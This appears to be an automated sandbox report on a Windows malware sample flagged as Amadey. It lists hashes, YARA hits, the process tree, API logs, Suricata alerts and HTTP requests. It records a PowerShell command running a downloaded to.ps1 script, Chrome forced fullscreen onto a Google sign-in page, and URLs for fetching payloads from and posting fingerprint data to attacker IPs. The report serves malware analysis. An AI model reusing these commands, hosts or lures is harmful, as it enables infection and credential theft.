Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 8, 2024, 9:45 p.m.	Oct. 8, 2024, 9:54 p.m.

Size	416.0KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`934310f719707becac6a69b4579f6fd2`
SHA256	`5bf3ab9c47d8152548db40516ff474a947393de01033b0be2a57409e08d4991c`
CRC32	`A946131E`
ssdeep	`12288:KSqMakU3v+GYLWIjD9dSbvBG5u2uQjdQccS:Fq53v+G4Wwub8Ljac1`
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature Malicious_Packer_Zero - Malicious Packer IsPE32 - (no description) Generic_Malware_Zero - Generic Malware UPX_Zero - UPX packed file OS_Processor_Check_Zero - OS Processor Check

am10.exe "C:\Users\test22\AppData\Local\Temp\am10.exe"
1872
- svoutse.exe "C:\Users\test22\AppData\Local\Temp\0e8d0864aa\svoutse.exe"
  2124
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\test22\AppData\Local\Temp\1000121041\to.ps1"
    2248
    - chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --new-window https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
      2360
      - chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\test22\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\test22\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xb0,0xb4,0xb8,0x84,0xbc,0x7fef3e96e00,0x7fef3e96e10,0x7fef3e96e20
        2408
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
185.215.113.103	Active	Moloch
31.41.244.10	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 185.215.113.103:80 -> 192.168.56.103:49166	2400031	ET DROP Spamhaus DROP Listed Traffic Inbound group 32	Misc Attack
TCP 192.168.56.103:49166 -> 185.215.113.103:80	2032162	ET INFO PS1 Powershell File Request	Potentially Bad Traffic
TCP 31.41.244.10:80 -> 192.168.56.103:49165	2400001	ET DROP Spamhaus DROP Listed Traffic Inbound group 2	Misc Attack
TCP 192.168.56.103:49165 -> 31.41.244.10:80	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW Oct. 8, 2024, 9:46 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 8, 2024, 9:46 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 8, 2024, 9:46 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 8, 2024, 9:46 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 8, 2024, 9:46 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 8, 2024, 9:46 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (21 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0
IsDebuggerPresent Oct. 8, 2024, 9:46 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (43 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003253e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ae8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ae8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ae8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003251a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003251a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003251a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003251a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003251a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003251a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ae8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325c28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325ce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325d68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00325d68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003b6530 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003b6530 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 8, 2024, 9:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003b6530 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Tries to locate where the browsers are installed (2 events)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
file	C:\Program Files\Mozilla Firefox\firefox.exe

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 8, 2024, 9:45 p.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Oct. 8, 2024, 9:46 p.m.	stacktrace: 0xa80004 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 exception.instruction_r: ff 15 16 1f 09 00 ff 25 00 00 00 00 aa a4 fc 76 exception.instruction: call qword ptr [rip + 0x91f16] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa80004 registers.r14: 237759688 registers.r15: 82323792 registers.rcx: 1312 registers.rsi: 17302540 registers.r10: 0 registers.rbx: 237758944 registers.rsp: 237758664 registers.r11: 237762560 registers.r8: 2004779404 registers.r9: 0 registers.rdx: 1340 registers.r12: 237759304 registers.rbp: 237758800 registers.rdi: 72849344 registers.rax: 11010048 registers.r13: 81879168	1	0	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address				suspicious_request	POST http://31.41.244.10/Dem7kTu/index.php
suspicious_features	GET method with no useragent header, Connection to IP address				suspicious_request	GET http://185.215.113.103/test/to.ps1

Performs some HTTP requests (2 events)

request	POST http://31.41.244.10/Dem7kTu/index.php
request	GET http://185.215.113.103/test/to.ps1

Sends data using the HTTP POST Method (1 event)

request

POST http://31.41.244.10/Dem7kTu/index.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 137 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 8, 2024, 9:45 p.m.	process_identifier: 1872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 1236 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000004300000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 2228224 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02900000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0261a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02612000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02622000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0268a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02623000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02624000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0269b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02697000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0261b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02682000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02695000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02625000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0268c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02820000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02626000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0269c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02683000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02684000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02685000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02686000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02687000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02688000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02689000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a31000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a32000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a33000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a34000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a35000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a36000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a37000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a38000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a39000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a3a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a3b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a3c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a3d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
